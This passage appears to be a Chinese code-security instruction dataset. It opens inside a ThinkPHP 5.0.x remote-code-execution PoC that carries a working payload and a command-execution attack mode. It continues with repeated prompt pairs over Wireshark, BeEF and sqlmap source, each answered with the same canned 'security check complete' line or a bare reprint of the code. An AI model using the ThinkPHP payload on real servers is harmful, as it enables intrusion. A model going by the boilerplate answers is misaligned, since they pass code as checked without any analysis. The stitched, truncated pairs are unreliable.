    appPowerLink = 'https://www.thinkphp.cn'  # 漏洞厂商主页地址
    appName = 'Thinkphp'  # 漏洞应用名称
    appVersion = '5.0.x'  # 漏洞影响版本
    vulType = 'Remote code execution'  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
                Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装，默认为$_POST[‘_method’]变量，却没有对$_PO
                ST[‘_method’]属性进行严格校验，可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
            '''  # 漏洞简要描述
    samples = []  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''使用Attck模式时可添加 --command参数用来指定需要执行的命令,如不指定该参数则默认执行whoami'''
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        flag = 'PHP Extension Build'
        path = '/index.php?s=captcha'
        url = self.url + path
        payload = {'_method': '__construct', 'filter[]': 'phpinfo', 'method': 'get', 'server[REQUEST_METHOD]': '1'}
        try:
            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
            req = requests.post(url, data=payload, headers=headers)
            if req and req.status_code == 200 and flag in req.text:
                result['VerfiryInfo'] = {}
                result['VerfiryInfo']['URL'] = self.url
                result['VerfiryInfo']['Postdata'] = payload
        except Exception as e:
            return
      ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python3
#
# Wireshark - Network traffic analyzer
# By Gerald Combs <gerald@wireshark.org>
# Copyright 1998 Gerald Combs
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
'''\
Generate Sysdig event dissector sections from the sysdig sources.

Reads driver/event_table.c and driver/ppm_events_public.h and generates
corresponding dissection code in packet-sysdig-event.c. Updates are
performed in-place in the dissector code.

Requires an Internet connection. Assets are loaded from GitHub over HTTPS, from falcosecurity/libs master.
'''

import logging
import os
import os.path
import re
import urllib.request, urllib.error, urllib.parse
import sys

sysdig_repo_pfx = 'https://raw.githubusercontent.com/falcosecurity/libs/master/'

def exit_msg(msg=None, status=1):
    if msg is not None:
        sys.stderr.write(msg + '\n\n')
    sys.stderr.write(__doc__ + '\n')
    sys.exit(status)

def get_url_lines(url):
    '''Open a URL.
    Returns the URL body as a list of lines.
    '''
    req_headers = { 'User-Agent': 'Wireshark generate-sysdig-event' }
    try:
        req = urllib.request.Request(url, headers=req_headers)
        response = urllib.request.urlopen(req)
        lines = response.read().decode().splitlines()
        response.close()
    except urllib.error.HTTPError as err:
        exit_msg("HTTP error fetching {0}: {1}".format(url, err.reason))
    except urllib.error.URLError as err:
        exit_msg("URL error fetching {0}: {1}".format(url, err.reason))
    except OSError as err:
        exit_msg("OS error fetching {0}".format(url, err.strerror))
    except Exception:
        exit_msg("Unexpected error:", sys.exc_info()[0])

    return lines

ppm_ev_pub_lines = get_url_lines(sysdig_repo_pfx + 'driver/ppm_events_public.h')

ppme_re = re.compile('^\s+PPME_([A-Z0-9_]+_[EX])\s*=\s*([0-9]+)\s*,')
ppm_sc_x_re = re.compile('^\s+PPM_SC_X\s*\(\s*(\S+)\s*,\s*(\d+)\s*\)')

event_info_d = {}

def get_event_defines():
    event_d = {}
    for line in ppm_ev_pub_li...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python3
#
# Wireshark - Network traffic analyzer
# By Gerald Combs <gerald@wireshark.org>
# Copyright 1998 Gerald Combs
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
'''\
Generate Sysdig event dissector sections from the sysdig sources.

Reads driver/event_table.c and driver/ppm_events_public.h and generates
corresponding dissection code in packet-sysdig-event.c. Updates are
performed in-place in the dissector code.

Requires an Internet connection. Assets are loaded from GitHub over HTTPS, from falcosecurity/libs master.
'''

import logging
import os
import os.path
import re
import urllib.request, urllib.error, urllib.parse
import sys

sysdig_repo_pfx = 'https://raw.githubusercontent.com/falcosecurity/libs/master/'

def exit_msg(msg=None, status=1):
    if msg is not None:
        sys.stderr.write(msg + '\n\n')
    sys.stderr.write(__doc__ + '\n')
    sys.exit(status)

def get_url_lines(url):
    '''Open a URL.
    Returns the URL body as a list of lines.
    '''
    req_headers = { 'User-Agent': 'Wireshark generate-sysdig-event' }
    try:
        req = urllib.request.Request(url, headers=req_headers)
        response = urllib.request.urlopen(req)
        lines = response.read().decode().splitlines()
        response.close()
    except urllib.error.HTTPError as err:
        exit_msg("HTTP error fetching {0}: {1}".format(url, err.reason))
    except urllib.error.URLError as err:
        exit_msg("URL error fetching {0}: {1}".format(url, err.reason))
    except OSError as err:
        exit_msg("OS error fetching {0}".format(url, err.strerror))
    except Exception:
        exit_msg("Unexpected error:", sys.exc_info()[0])

    return lines

ppm_ev_pub_lines = get_url_lines(sysdig_repo_pfx + 'driver/ppm_events_public.h')

ppme_re = re.compile('^\s+PPME_([A-Z0-9_]+_[EX])\s*=\s*([0-9]+)\s*,')
ppm_sc_x_re = re.compile('^\s+PPM_SC_X\s*\(\s*(\S+)\s*,\s*(\d+)\s*\)')

event_info_d = {}

def get_event_defines():
    event_d = {}
    for line in ppm_ev_pub_li...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Extension
    module Requester
      #
      # The http handler that manages the Requester.
      #
      class Handler
        H = BeEF::Core::Models::Http
        Z = BeEF::Core::Models::HookedBrowser

        def initialize(data)
          @data = data
          setup
        end

        def setup
          # validates the hook token
          beef_hook = @data['beefhook'] || nil
          if beef_hook.nil?
            print_error 'beefhook is null'
            return
          end

          # validates the request id
          request_id = @data['cid'].to_s
          if request_id == ''
            print_error 'Original request id (command id) is null'
            return
          end

          unless BeEF::Filters.nums_only?(request_id)
            print_error 'Original request id (command id) is invalid'
            return
          end

          # validates that a hooked browser with the beef_hook token exists in the db
          zombie_db = Z.where(session: beef_hook).first || nil
          if zombie_db.nil?
            (print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
             return)
          end

          # validates that we have such a http request saved in the db
          http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
          if http_db.nil?
            print_error 'Invalid http_db: no such request found in the database'
            return
          end

          # validates that the http request has not been run before
          if http_db.has_ran.eql? 'complete'
            (print_error 'This http request has been saved before'
             return)
          end

          # validates the response code
          response_code = @data['results']['response_status_...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Extension
    module Requester
      #
      # The http handler that manages the Requester.
      #
      class Handler
        H = BeEF::Core::Models::Http
        Z = BeEF::Core::Models::HookedBrowser

        def initialize(data)
          @data = data
          setup
        end

        def setup
          # validates the hook token
          beef_hook = @data['beefhook'] || nil
          if beef_hook.nil?
            print_error 'beefhook is null'
            return
          end

          # validates the request id
          request_id = @data['cid'].to_s
          if request_id == ''
            print_error 'Original request id (command id) is null'
            return
          end

          unless BeEF::Filters.nums_only?(request_id)
            print_error 'Original request id (command id) is invalid'
            return
          end

          # validates that a hooked browser with the beef_hook token exists in the db
          zombie_db = Z.where(session: beef_hook).first || nil
          if zombie_db.nil?
            (print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
             return)
          end

          # validates that we have such a http request saved in the db
          http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
          if http_db.nil?
            print_error 'Invalid http_db: no such request found in the database'
            return
          end

          # validates that the http request has not been run before
          if http_db.has_ran.eql? 'complete'
            (print_error 'This http request has been saved before'
             return)
          end

          # validates the response code
          response_code = @data['results']['response_status_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* capture.c
 * Routines for packet capture
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_CAPTURE

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <glib.h>

#include <epan/packet.h>
#include <epan/dfilter/dfilter.h>
#include "extcap.h"
#include "file.h"
#include "ui/capture.h"
#include "capture/capture_ifinfo.h"
#include <capture/capture_sync.h>
#include "ui/capture_info.h"
#include "ui/capture_ui_utils.h"
#include "ui/util.h"
#include "ui/urls.h"
#include "capture/capture-pcap-util.h"

#ifdef _WIN32
#include "capture/capture-wpcap.h"
#endif

#include "ui/simple_dialog.h"
#include "ui/ws_ui_util.h"

#include "wsutil/file_util.h"
#include "wsutil/str_util.h"
#include <wsutil/filesystem.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

typedef struct if_stat_cache_item_s {
    char *name;
    struct pcap_stat ps;
} if_stat_cache_item_t;

struct if_stat_cache_s {
    int stat_fd;
    ws_process_id fork_child;
    GList *cache_list;  /* List of if_stat_chache_entry_t */
};

/* this callback mechanism should possibly be replaced by the g_signal_...() stuff (if I only would know how :-) */
typedef struct {
    capture_callback_t cb_fct;
    gpointer user_data;
} capture_callback_data_t;

static GList *capture_callbacks = NULL;

static void
capture_callback_invoke(int event, capture_session *cap_session)
{
    capture_callback_data_t *cb;
    GList *cb_item = capture_callbacks;

    /* there should be at least one interested */
    ws_assert(cb_item != NULL);

    while(cb_item != NULL) {
        cb = (capture_callback_data_t *)cb_item->data;
        cb->cb_fct(event, cap_session, cb->user_data);
        cb_item = g_list_next(cb_item);
    }
}

void
capture_callback_add(capture_callback_t func, gpointer user_data)
{
    capture_callback_data_t *cb;...


Instruction: 检查这段代码是否存在安全问题

Input:
/* capture.c
 * Routines for packet capture
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"
#define WS_LOG_DOMAIN LOG_DOMAIN_CAPTURE

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <glib.h>

#include <epan/packet.h>
#include <epan/dfilter/dfilter.h>
#include "extcap.h"
#include "file.h"
#include "ui/capture.h"
#include "capture/capture_ifinfo.h"
#include <capture/capture_sync.h>
#include "ui/capture_info.h"
#include "ui/capture_ui_utils.h"
#include "ui/util.h"
#include "ui/urls.h"
#include "capture/capture-pcap-util.h"

#ifdef _WIN32
#include "capture/capture-wpcap.h"
#endif

#include "ui/simple_dialog.h"
#include "ui/ws_ui_util.h"

#include "wsutil/file_util.h"
#include "wsutil/str_util.h"
#include <wsutil/filesystem.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

typedef struct if_stat_cache_item_s {
    char *name;
    struct pcap_stat ps;
} if_stat_cache_item_t;

struct if_stat_cache_s {
    int stat_fd;
    ws_process_id fork_child;
    GList *cache_list;  /* List of if_stat_chache_entry_t */
};

/* this callback mechanism should possibly be replaced by the g_signal_...() stuff (if I only would know how :-) */
typedef struct {
    capture_callback_t cb_fct;
    gpointer user_data;
} capture_callback_data_t;

static GList *capture_callbacks = NULL;

static void
capture_callback_invoke(int event, capture_session *cap_session)
{
    capture_callback_data_t *cb;
    GList *cb_item = capture_callbacks;

    /* there should be at least one interested */
    ws_assert(cb_item != NULL);

    while(cb_item != NULL) {
        cb = (capture_callback_data_t *)cb_item->data;
        cb->cb_fct(event, cap_session, cb->user_data);
        cb_item = g_list_next(cb_item);
    }
}

void
capture_callback_add(capture_callback_t func, gpointer user_data)
{
    capture_callback_data_t *cb;...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-elcom.c
 * Routines for elcom packet dissection
 * Copyright 2008, 2011 juha.takala@iki.fi (Juha Takala)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * I found the protocol specification at
 *  http://www.sintef.no/upload/Energiforskning/Energisystemer/ELCOM%2090.pdf
 */

#include "config.h"

#include <epan/packet.h>

#define TCP_PORT_ELCOM        5997 /* Not IANA registered */

/* Application level: */
#define A_CONRQ        0x04
#define A_CONRS        0x05

/* Presentation level: */
#define P_CONRQ        0x00
#define P_CONRS        0x10
#define P_RELRQ        0x20
#define P_RELRS        0x30
#define P_DATRQ        0x80

#define TC_REQ         0x40
#define TC_RSP         0x41

#define LOWADR_LEN 17
#define SUFFIX_LEN  2
#define TOTAL_LEN (LOWADR_LEN + SUFFIX_LEN + 2)

#if 0 /* ??? */
#define ELCOM_UNKNOWN_ENDIAN 0
#define ELCOM_LITTLE_ENDIAN  1
#define ELCOM_BIG_ENDIAN     2
#endif

void proto_register_elcom(void);
void proto_reg_handoff_elcom(void);

static dissector_handle_t elcom_handle;

static int proto_elcom = -1;
static int hf_elcom_response = -1;
static int hf_elcom_request = -1;

static int hf_elcom_length = -1;
static int hf_elcom_type = -1;

static int hf_elcom_initiator = -1;
static int hf_elcom_initiator_endian = -1;
static int hf_elcom_initiator_ip = -1;
static int hf_elcom_initiator_port = -1;
static int hf_elcom_initiator_suff = -1;

static int hf_elcom_responder = -1;
static int hf_elcom_responder_endian = -1;
static int hf_elcom_responder_ip = -1;
static int hf_elcom_responder_port = -1;
static int hf_elcom_responder_suff = -1;

static int hf_elcom_userdata = -1;
static int hf_elcom_userdata_length = -1;
static int hf_elcom_userdata_pduid = -1;
static int hf_elcom_userdata_version = -1;
static int hf_elcom_userdata_result = -1;
static int hf_elcom_userdata_restmark = -1;
static int hf...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-elcom.c
 * Routines for elcom packet dissection
 * Copyright 2008, 2011 juha.takala@iki.fi (Juha Takala)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * I found the protocol specification at
 *  http://www.sintef.no/upload/Energiforskning/Energisystemer/ELCOM%2090.pdf
 */

#include "config.h"

#include <epan/packet.h>

#define TCP_PORT_ELCOM        5997 /* Not IANA registered */

/* Application level: */
#define A_CONRQ        0x04
#define A_CONRS        0x05

/* Presentation level: */
#define P_CONRQ        0x00
#define P_CONRS        0x10
#define P_RELRQ        0x20
#define P_RELRS        0x30
#define P_DATRQ        0x80

#define TC_REQ         0x40
#define TC_RSP         0x41

#define LOWADR_LEN 17
#define SUFFIX_LEN  2
#define TOTAL_LEN (LOWADR_LEN + SUFFIX_LEN + 2)

#if 0 /* ??? */
#define ELCOM_UNKNOWN_ENDIAN 0
#define ELCOM_LITTLE_ENDIAN  1
#define ELCOM_BIG_ENDIAN     2
#endif

void proto_register_elcom(void);
void proto_reg_handoff_elcom(void);

static dissector_handle_t elcom_handle;

static int proto_elcom = -1;
static int hf_elcom_response = -1;
static int hf_elcom_request = -1;

static int hf_elcom_length = -1;
static int hf_elcom_type = -1;

static int hf_elcom_initiator = -1;
static int hf_elcom_initiator_endian = -1;
static int hf_elcom_initiator_ip = -1;
static int hf_elcom_initiator_port = -1;
static int hf_elcom_initiator_suff = -1;

static int hf_elcom_responder = -1;
static int hf_elcom_responder_endian = -1;
static int hf_elcom_responder_ip = -1;
static int hf_elcom_responder_port = -1;
static int hf_elcom_responder_suff = -1;

static int hf_elcom_userdata = -1;
static int hf_elcom_userdata_length = -1;
static int hf_elcom_userdata_pduid = -1;
static int hf_elcom_userdata_version = -1;
static int hf_elcom_userdata_result = -1;
static int hf_elcom_userdata_restmark = -1;
static int hf...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def osCmd(self):
        errMsg = "on SAP MaxDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osShell(self):
        errMsg = "on SAP MaxDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osPwn(self):
        errMsg = "on SAP MaxDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osSmb(self):
        errMsg = "on SAP MaxDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def osCmd(self):
        errMsg = "on SAP MaxDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osShell(self):
        errMsg = "on SAP MaxDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osPwn(self):
        errMsg = "on SAP MaxDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osSmb(self):
        errMsg = "on SAP MaxDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-homepna.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

void proto_register_homepna(void);
void proto_reg_handoff_homepna(void);

static dissector_handle_t homepna_handle;

static int proto_homepna = -1;

static int hf_homepna_type   = -1;
static int hf_homepna_length = -1;
static int hf_homepna_version = -1;
static int hf_homepna_data = -1;
static int hf_homepna_etype = -1;
static int hf_homepna_trailer = -1;

static gint ett_homepna  = -1;

static dissector_handle_t ethertype_handle;

static const range_string homepna_type_rvals[] = {
    { 0,     0,     "Non-standard" },
    { 1,     1,     "Rate Request Control Frame" },
    { 2,     2,     "Link Integrity Short Frame" },
    { 3,     3,     "Capabilities Announcement" },
    { 4,     4,     "LARQ" },
    { 5,     5,     "Vendor-specific short format type" },
    { 6,     127,   "Reserved for future use by the ITU-T" },
    { 128,   32767, "Reserved for future use by the ITU-T" },
    { 32768, 32768, "Reserved for future use by the ITU-T" },
    { 32769, 32769, "Vendor-specific long-format" },
    { 32770, 65535, "Reserved for future use by the ITU-T" },
    { 0, 0, NULL }
};

typedef enum
{
    HOMEPNA_FORMAT_SHORT,
    HOMEPNA_FORMAT_LONG
} homepna_format_e;

static int
dissect_homepna(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *homepna_tree;
    int offset = 0;
    guint32 control_length;
    homepna_format_e homepna_format = HOMEPNA_FORMAT_SHORT;
    guint16 protocol;
    ethertype_data_t ethertype_data;

    if (tvb_captured_length(tvb) < 4)
        return 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "HomePNA");
    col_clear(pinfo->cinfo, COL_INFO);

    ti = proto_tree_add_item(tree, proto_homepna, tvb, 0, -1, ENC_NA);
    homepna_tree = p...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-homepna.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>

void proto_register_homepna(void);
void proto_reg_handoff_homepna(void);

static dissector_handle_t homepna_handle;

static int proto_homepna = -1;

static int hf_homepna_type   = -1;
static int hf_homepna_length = -1;
static int hf_homepna_version = -1;
static int hf_homepna_data = -1;
static int hf_homepna_etype = -1;
static int hf_homepna_trailer = -1;

static gint ett_homepna  = -1;

static dissector_handle_t ethertype_handle;

static const range_string homepna_type_rvals[] = {
    { 0,     0,     "Non-standard" },
    { 1,     1,     "Rate Request Control Frame" },
    { 2,     2,     "Link Integrity Short Frame" },
    { 3,     3,     "Capabilities Announcement" },
    { 4,     4,     "LARQ" },
    { 5,     5,     "Vendor-specific short format type" },
    { 6,     127,   "Reserved for future use by the ITU-T" },
    { 128,   32767, "Reserved for future use by the ITU-T" },
    { 32768, 32768, "Reserved for future use by the ITU-T" },
    { 32769, 32769, "Vendor-specific long-format" },
    { 32770, 65535, "Reserved for future use by the ITU-T" },
    { 0, 0, NULL }
};

typedef enum
{
    HOMEPNA_FORMAT_SHORT,
    HOMEPNA_FORMAT_LONG
} homepna_format_e;

static int
dissect_homepna(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    proto_tree *ti;
    proto_tree *homepna_tree;
    int offset = 0;
    guint32 control_length;
    homepna_format_e homepna_format = HOMEPNA_FORMAT_SHORT;
    guint16 protocol;
    ethertype_data_t ethertype_data;

    if (tvb_captured_length(tvb) < 4)
        return 0;

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "HomePNA");
    col_clear(pinfo->cinfo, COL_INFO);

    ti = proto_tree_add_item(tree, proto_homepna, tvb, 0, -1, ENC_NA);
    homepna_tree = p...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-iser.c
 * Routines for iSCSI RDMA Extensions dissection
 * Copyright 2014, Mellanox Technologies Ltd.
 * Code by Yan Burman.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/addr_resolv.h>

#include "packet-infiniband.h"

#define ISER_WSV    0x08
#define ISER_RSV    0x04
#define ISER_REJ    0x01

#define ISER_ISCSI_CTRL    0x10
#define ISER_HELLO         0x20
#define ISER_HELLORPLY     0x30

#define ISER_OPCODE_MASK      0xf0
#define ISER_SPECIFIC_MASK    0x0f

#define ISER_HDR_SZ   (1 + 3 + 4 + 8 + 4 + 8)
#define ISCSI_HDR_SZ  48

#define ISER_ISCSI_HDR_SZ (ISER_HDR_SZ + ISCSI_HDR_SZ)

#define SID_ULP_MASK   0x00000000FF000000
#define SID_PROTO_MASK 0x0000000000FF0000
#define SID_PORT_MASK  0x000000000000FFFF

#define SID_ULP         0x01
#define SID_PROTO_TCP   0x06
#define TCP_PORT_ISER_RANGE    "3260"

#define SID_MASK (SID_ULP_MASK | SID_PROTO_MASK)
#define SID_ULP_TCP ((SID_ULP << 3 * 8) | (SID_PROTO_TCP << 2 * 8))

void proto_reg_handoff_iser(void);
void proto_register_iser(void);

static dissector_handle_t iser_handle;

static int proto_iser = -1;
static dissector_handle_t iscsi_handler;

static int proto_ib = -1;

/* iSER Header */
static int hf_iser_flags = -1;
static int hf_iser_opcode_f = -1;
static int hf_iser_RSV_f = -1;
static int hf_iser_WSV_f = -1;
static int hf_iser_REJ_f = -1;
static int hf_iser_write_stag = -1;
static int hf_iser_write_va = -1;
static int hf_iser_read_stag = -1;
static int hf_iser_read_va = -1;
static int hf_iser_ird = -1;
static int hf_iser_ord = -1;

/* Initialize the subtree pointers */
static gint ett_iser = -1;
static gint ett_iser_flags = -1;

/* global preferences */
static range_t *gPORT_RANGE;

static const value_string iser_flags_opcode[] = {
    { ISER_ISCS...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-iser.c
 * Routines for iSCSI RDMA Extensions dissection
 * Copyright 2014, Mellanox Technologies Ltd.
 * Code by Yan Burman.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>
#include <epan/addr_resolv.h>

#include "packet-infiniband.h"

#define ISER_WSV    0x08
#define ISER_RSV    0x04
#define ISER_REJ    0x01

#define ISER_ISCSI_CTRL    0x10
#define ISER_HELLO         0x20
#define ISER_HELLORPLY     0x30

#define ISER_OPCODE_MASK      0xf0
#define ISER_SPECIFIC_MASK    0x0f

#define ISER_HDR_SZ   (1 + 3 + 4 + 8 + 4 + 8)
#define ISCSI_HDR_SZ  48

#define ISER_ISCSI_HDR_SZ (ISER_HDR_SZ + ISCSI_HDR_SZ)

#define SID_ULP_MASK   0x00000000FF000000
#define SID_PROTO_MASK 0x0000000000FF0000
#define SID_PORT_MASK  0x000000000000FFFF

#define SID_ULP         0x01
#define SID_PROTO_TCP   0x06
#define TCP_PORT_ISER_RANGE    "3260"

#define SID_MASK (SID_ULP_MASK | SID_PROTO_MASK)
#define SID_ULP_TCP ((SID_ULP << 3 * 8) | (SID_PROTO_TCP << 2 * 8))

void proto_reg_handoff_iser(void);
void proto_register_iser(void);

static dissector_handle_t iser_handle;

static int proto_iser = -1;
static dissector_handle_t iscsi_handler;

static int proto_ib = -1;

/* iSER Header */
static int hf_iser_flags = -1;
static int hf_iser_opcode_f = -1;
static int hf_iser_RSV_f = -1;
static int hf_iser_WSV_f = -1;
static int hf_iser_REJ_f = -1;
static int hf_iser_write_stag = -1;
static int hf_iser_write_va = -1;
static int hf_iser_read_stag = -1;
static int hf_iser_read_va = -1;
static int hf_iser_ird = -1;
static int hf_iser_ord = -1;

/* Initialize the subtree pointers */
static gint ett_iser = -1;
static gint ett_iser_flags = -1;

/* global preferences */
static range_t *gPORT_RANGE;

static const value_string iser_flags_opcode[] = {
    { ISER_ISCS...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* lte_rlc_statistics_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "lte_rlc_statistics_dialog.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-rlc-lte.h>

#include <QFormLayout>
#include <QTreeWidgetItem>
#include <QPushButton>

#include "main_application.h"

#include "ui/recent.h"

// TODO: have never tested in a live capture.

enum {
    col_ueid_,
    col_mode_,     // channel only
    col_priority_, // channel only
    col_ul_frames_,
    col_ul_bytes_,
    col_ul_mb_s_,
    col_ul_acks_,
    col_ul_nacks_,
    col_ul_missing_,
    col_dl_frames_,
    col_dl_bytes_,
    col_dl_mb_s_,
    col_dl_acks_,
    col_dl_nacks_,
    col_dl_missing_
};

enum {
    rlc_ue_row_type_ = 1000,
    rlc_channel_row_type_
};

/* Calculate and return a bandwidth figure, in Mbs */
static double calculate_bw(const nstime_t *start_time, const nstime_t *stop_time, guint32 bytes)
{
    /* Can only calculate bandwidth if have time delta */
    if (memcmp(start_time, stop_time, sizeof(nstime_t)) != 0) {
        double elapsed_ms = (((double)stop_time->secs -  start_time->secs) * 1000) +
                            (((double)stop_time->nsecs - start_time->nsecs) / 1000000);

        /* Only really meaningful if have a few frames spread over time...
           For now at least avoid dividing by something very close to 0.0 */
        if (elapsed_ms < 2.0) {
           return 0.0f;
        }

        // N.B. very small values will display as scientific notation, but rather that than show 0
        // when there is some traffic..
        return ((bytes * 8) / elapsed_ms) / 1000;
    }
    else {
        return 0.0f;
    }
}

// Stats kept for one channel.
typedef struct rlc_channel_stats {
    guint8   rlcMode;
    guint8   priority;
    guint16  channelType;
    guint16  channelId;

    g...


Instruction: 检查这段代码是否存在安全问题

Input:
/* lte_rlc_statistics_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "lte_rlc_statistics_dialog.h"

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/tap.h>

#include <epan/dissectors/packet-rlc-lte.h>

#include <QFormLayout>
#include <QTreeWidgetItem>
#include <QPushButton>

#include "main_application.h"

#include "ui/recent.h"

// TODO: have never tested in a live capture.

enum {
    col_ueid_,
    col_mode_,     // channel only
    col_priority_, // channel only
    col_ul_frames_,
    col_ul_bytes_,
    col_ul_mb_s_,
    col_ul_acks_,
    col_ul_nacks_,
    col_ul_missing_,
    col_dl_frames_,
    col_dl_bytes_,
    col_dl_mb_s_,
    col_dl_acks_,
    col_dl_nacks_,
    col_dl_missing_
};

enum {
    rlc_ue_row_type_ = 1000,
    rlc_channel_row_type_
};

/* Calculate and return a bandwidth figure, in Mbs */
static double calculate_bw(const nstime_t *start_time, const nstime_t *stop_time, guint32 bytes)
{
    /* Can only calculate bandwidth if have time delta */
    if (memcmp(start_time, stop_time, sizeof(nstime_t)) != 0) {
        double elapsed_ms = (((double)stop_time->secs -  start_time->secs) * 1000) +
                            (((double)stop_time->nsecs - start_time->nsecs) / 1000000);

